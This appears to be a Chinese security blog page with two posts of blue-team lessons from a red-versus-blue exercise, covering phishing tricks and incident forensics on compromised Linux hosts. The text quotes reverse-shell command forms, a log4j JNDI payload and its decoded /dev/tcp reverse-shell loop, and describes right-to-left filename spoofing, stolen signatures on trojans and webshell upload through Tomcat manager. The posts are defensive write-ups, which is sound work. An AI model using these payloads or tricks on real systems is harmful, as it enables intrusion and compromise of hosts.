分类目录归档:攻防

红蓝对抗中蓝队的一些工作心得(二)

红蓝对抗中蓝队的一些工作心得(一)

红蓝对抗中蓝队的一些工作心得(三)

安全最大的弱点在于人而不是设备,似乎也是一句老生常谈的教条。弱密码、通用密码、写在公共空间的强密码,被利用起来危害极大,这些都是因人的弱点而产生的问题,钓鱼邮件同样也是。

一、社工方面

钓鱼邮件可类比于电信诈骗,都是利用人性的弱点而实施。我们蓝队甚至想不通,本次攻防行动演练的事先事中发了很多预警邮件,但还是有很多同事中招。案例有如:

  • 以其人之道还治其人之身。本次行动,红队干脆以 “安全演练临近,发布服务器漏洞检查工具” 为由散布内含反连 shell 木马的 jar 包,骗得某部门同事信以为真,上传该木马运行,导致内网百余台主机相继失陷。
  • 看人下菜。譬如给人力部门大投含有木马的简历,甚至在邮件系统外,通过招聘软件、第三方聊天工具抛饵引人上钩;给客服部门发送言辞激烈的 “投诉” 邮件,附件当然也是内藏木马。
  • 利用 “假期” 、 “绩效” 、 “涨薪” 等引人眼球,又或用 “疫情” 、 “报税” 、 “春招” 等紧扣时事,再或是 “紧急” 、 “重大” 等容易让人失掉戒心的一些主题。

二、技术方面

伪造发件人地址都已经不是什么新鲜事,红队关键还是要考虑邮件附件如何才能骗人运行。本次行动,MS Office 宏病毒倒没有在预想中出现,推测是因运行特征明显,不宜隐藏等一些原因。红队倒是在可执行文件的 “可执行”,“可放心执行” 这些属性上下足了功夫,如:

  • 钓鱼文档的原文件名 张三的简历 xcod.scr ,在 “简历”“rcs”之间插入一个 Unicode 控制字符 U+202E,其作用是把之后的字符 Right to left,经过 Windows 一渲染,变成了 张三的简历 rcs.docx ,再把图标一改,实现了看起来像是 docx 文档,而实际上是 scr(屏保文件,等同于可执行的 exe),双击即执行,极具欺骗性的同时危害也很大。
  • 红队把真正的杀毒软件和木马打成 WinRAR 自解压 exe 包,并写好了释放后立即运行杀软安装程序+木马的脚本,这还不算完,据事后研究,红队利用 sigthief 这一证书伪造工具,把杀软的签名提取出来硬套在自制的木马上,从 Windows 右击属性的菜单来看确有了 “数字签名” 这一 tab,但是点开证书详情才发现签名其实无效——偷来的证书和文件本身 hash 并不匹配,签名无效那是理所应当的。但是这一攻击手段除了欺骗人眼让人 “放心” 执行外,对于逃过某些安全工具的检查也有一定的作用。

对于蓝队而言,邮件网关和终端上都可事先部署好查杀工具。除了上述技术上的弱点要见招拆招,及时广而告之,在前期宣传工作时也要把人性的弱点排除,比如安全通知由某一指定邮箱统一发送,并要求其他渠道二次确认一些可疑要求。如有同事不幸中招,及时断网排查,保留溯源证据。终端安全又是个大坑,暂时不想填了……

红蓝对抗中蓝队的一些工作心得(一)

红蓝对抗中蓝队的一些工作心得(二)

红蓝对抗中蓝队的一些工作心得(三)

在红蓝对抗类网络攻防演练中,蓝队(防守方)一般要做的是,紧盯态势感知、防火墙等各种设备,发现并切断红队(攻击方)的攻击链条,对于失陷资产,做好善后、溯源工作,或根据游戏规则挽回失分甚至倒扣红队的分,或收集信息为今后梳理资产脆弱点做好准备。

拿到一台失陷主机,首先要看进程列表有没有可疑进程,能直接连通公网的 Linux 服务器,反弹 shell 可以很方便地在本地开启进程主动 TCP 出去连接红队的服务器,接收指令在本地运行。常见的反弹 shell 形如 /bin/bash -inc -e /bin/bash  、 python 的有 python -c "import os,socket,…… ,还有利用 perl 的等等不一而足。对于不能连公网的主机,则要重点关注内网穿透互联类工具如 frp 、 nps 等。再配合 netstat 查看一下有没有可疑网络连接,看看有没有某进程所连接的 IP 地址在业务上并不需要,却又可能跟红队攻击链有关。如有发现,要及时杀掉进程,封堵相应 IP 。本次遇到一些木马进程,把反连地址加密编码在运行参数中,再把进程名称改成和正常业务相混淆的文件名,甚至连磁盘上的原始文件都给删了。在发现问题进程但找不到落地文件的情况下,可以通过 /proc/<pid>/exe 把进程 dump 为文件保存到磁盘以便取证、研究。

其次要注意下权限维持的情况,并不是杀掉木马进程就可以高枕无忧。举个例子,红队可以在 crontab 中添加一个 “每 1 分钟起一次 bash 反弹 shell” 的计划任务,导致只杀死一次进程完全无济于事。除了 crontab 之外,用户的 bash 环境变量也是一个容易隐藏权限维持脚本的地方,导致用户一登录 ssh 就启动木马,也需要排查。当然,如果内网可以部署主机安全类产品,通过 agent 收集上述信息并上报、告警,可以省很多事儿。

无论是攻击者从 ssh 登录进来,还是通过 web 漏洞执行了命令,当前用户的 bash history 都是重要的线索之一。这里推荐在日常运维的时候打开 bash history 的 Unix 时间戳记录,方便和 web 日志、后端日志,以及其他机器的日志等交叉对照。本次攻防行动,红队通过批量下载 sshpass 搭配上已泄露的强密码、常见弱密码来登录别的机器。 sshpass 这种工具虽然方便,但在 bash 操作中容易把明文密码留在 bash history 中,在脚本中使用也是一样,容易暴露其他机器的明文 ssh 密码,安全与便利很难兼得。

面对失陷机器,我们很可能并不知道该机器是攻击链的起点、终点,还是中间环节。如果红队利用弱密码在内网渗透,ssh 的日志也是至关重要的。.ssh 目录中的 known hosts 文件是当前机器尝试(并不一定连成功)连过的所有 SSH 的 IP 地址和指纹,/var/log/secure 里有别的机器 SSH 过来认证成功和失败的详细记录,通过 grep 'Accepted'来筛选登录成功的记录非常方便。这样,一来一去都有迹可循。

不管是内部横向渗透,还是从公网暴露面打进来,除了 SSH 外,应用漏洞也是非常重要的利用点。本次行动,公网暴露面有一台运行着 java 数据采集服务的机器失陷,java 服务组件也比较老有三四个年头了。我们排查的时候首先直接就想到了核弹级漏洞 log4j,打开 java 日志,一搜常用的探测工具 dnslog,马上发现了蛛丝马迹,再搜 jndi:ldap:,发现了红队所执行的 payload 日志:

${jndi:ldap://<ip>:<port>/Basic/Command/Base64/<base64 encoded payload>}

base64 解码后形如:

exec 5<>/dev/tcp/<ip>/<port>;cat <&5|while read line;do $line >&5 2>&1;done

惭愧,这还是我第一次看到 log4j 的在野利用。这也提醒了我们,一旦爆发高危漏洞,所有有关的服务都要全面排查,这也对蓝队资产收集更新工作提出了更高的要求。在该主机上,其实 java 服务前面还套了一层 nginx 的反向代理,机主也算有些安全意识,在 nginx 配置文件中写了白名单 allow <ip>;,但百密一疏导致的致命问题是,他忘记了加 deny all; 来兜底,导致白名单没有生效,满盘皆输。这也凸显了老生常谈的话题——安全防御是一个不能有短板的围城,任何疏漏都会导致其他方面的努力付之东流。

在内网中,内部工作人员的麻痹意识就会更加明显,这也是零信任这种安全概念流行的原因之一。内网中有些部署了 java 服务的机器,tomcat 安装后压根没有通过 tomcat-user.xml 改过密码,被内网渗透大杀器fscan给扫了出来。这在安全人员眼里就像案板上的肥肉,直接通过/manager 路径,把 jsp 木马打包成 war 包上传,秒拿权限。这里,如果业务部署人员有直接拿 root 起服务的习惯,那就更是等同于给红队铺路了。

对于蓝队,用 fscan 这种攻击工具在内网自查自纠或提前于红队发现脆弱点也是相当推荐的。对于被种了上述 webshell 导致失陷的机器,当然要排查 tomcat 的/webapps 目录(nginxhttpd 则对应 web 目录、上传目录等)下的 webshell,不管是大马还是一句话,相信对于安全人员来说都不难鉴别。对于红队,拿到权限后必有下一步动作,上面说的检查手段依然有效,本次行动,我们还发现红队安装 nmap 、下载 fscan 和内网密码字典、下载运行 frp 一类内网穿透工具等一系列操作,目标一般是/tmp 目录,又或者根据机器当前的业务选一个有迷惑性的路径,再加上业务服务本身所在的目录和子目录,都需要重点排查。在这些路径中,如果红队匆匆使用 nohup 来运行偷鸡摸狗工具,蓝队当然要逐行细看 nohup.out 文件;对于 fscan 等扫描工具自动生成的结果文件如 result.txt,蓝队也需要查看来确定红队下一步的方向是什么。与此同时,通知失陷机器的机主及时修改密码,升级组件、修复漏洞也是份内的工作。